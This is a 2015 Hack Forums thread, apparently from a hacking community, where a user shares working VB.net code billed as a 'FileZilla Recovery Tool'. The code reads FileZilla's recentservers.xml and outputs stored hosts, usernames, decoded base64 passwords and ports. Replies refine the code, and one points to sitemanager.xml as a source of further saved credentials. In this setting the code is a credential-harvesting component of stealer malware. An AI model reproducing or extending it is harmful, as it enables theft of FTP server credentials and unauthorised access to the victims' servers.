

Forum:[Hack Forums](#)

Thread: [FileZilla Recovery Tool](#)

Adderall - August 7, 2015, 7:17 am

This is the first time I post something useful here ? I really wanted to post a Chrome recovery tool, but I wasn't finished with the SQL class, so maybe next time. ?

I know FileZilla recovery tools have been posted on this forum, but most are old and don't work anymore for some reason so here is one that works and this one is for the new and old version of FileZilla (base64 encoded and not).

I made this in VB.net with framework 2.0.

everyone with knowledge in VB.net and Xml could make this, but this is for the lazy and new people to VB.net.

Code Imports System

Imports System.IO

Imports System.Xml

Imports System.Text

Friend Function FileZillaRecovery() As String

Dim FileZilla As New StringBuilder

Try

If File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\FileZilla\recentservers.xml") Then

Dim FileZillaXmlDocument As New XmlDocument

FileZillaXmlDocument.Load(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\FileZilla\recentservers.xml")

Dim FileZillaNodeList As XmlNodeList = FileZillaXmlDocument.SelectNodes("//Server")

FileZilla.AppendLine("FileZilla:")

For Each FileZillaXmlElement As XmlElement In FileZillaNodeList

FileZilla.AppendLine(Environment.NewLine & "Host: " &

FileZillaXmlElement.Item("Host").InnerText)

FileZilla.AppendLine("Username: " & FileZillaXmlElement.Item("User").InnerText)

Dim Password As String

If FileZillaXmlElement.Item("Pass").Attributes("encoding").InnerText = "base64" Then

Password =

Encoding.UTF8.GetString(Convert.FromBase64String(FileZillaXmlElement.Item("Pass").InnerText))

'New version (base64 encoded)

Else

Password = FileZillaXmlElement.Item("Pass").InnerText 'Old version (not base64 encoded)

End If

FileZilla.AppendLine("Password: " & Password)

FileZilla.AppendLine("Port: " & FileZillaXmlElement.Item("Port").InnerText)

Next

Else Return String.Empty

End If

```
Catch : End Try
Return FileZilla.ToString
End Function
```

How to use?

```
Code TextBox1.Text = FileZillaRecovery()
```

Leave a comment if you liked it or if you have anything to say about my code.

iLogic™ - August 7, 2015, 11:45 pm

I will try it ? Thanks for releasing it ?

Brokeos - August 8, 2015, 2:49 am

Why use a Try, encryption is given in the <Pass>

Use :

```
Code If FileZillaXmlElement.Item("Pass").Attributes("encoding").InnerText = "base64" Then
    Password =
Encoding.UTF8.GetString(Convert.FromBase64String(FileZillaXmlElement.Item("Pass").InnerText))
'New version (base64 encoded)
Else
    Password = FileZillaXmlElement.Item("Pass").InnerText
End If
```

Cuby - August 8, 2015, 3:21 am

Lol Filezilla uses base64?

Thats new.

Nevertheless --> Not encrypted : /

Thank for sharing.

Adderall - August 8, 2015, 4:11 am

(Aug 8, 2015 02:49 AM)Brokeos Wrote: [\[CITE\]](#) Why use a Try, encryption is given in the <Pass>

Use :

```
Code If FileZillaXmlElement.Item("Pass").Attributes("encoding").InnerText = "base64" Then
    Password =
Encoding.UTF8.GetString(Convert.FromBase64String(FileZillaXmlElement.Item("Pass").InnerText))
'New version (base64 encoded)
Else
    Password = FileZillaXmlElement.Item("Pass").InnerText
End If
```

Yeah this method is much better, but I don't use Xml a lot so don't know much about it. I am now learning it that's why I made this recovery tool first it worked on split methods which was very ugly. I added your code to the source thanks for giving a better method.

FET - November 11, 2015, 5:58 am

This works perfectly on both the new and the old versions of FileZilla! Great work man!

This though only accesses the recent servers that were visited by the user. If anyone likes to get also the saved servers in FileZilla they can just access the "sitemanager.xml" in the same directory using the same method.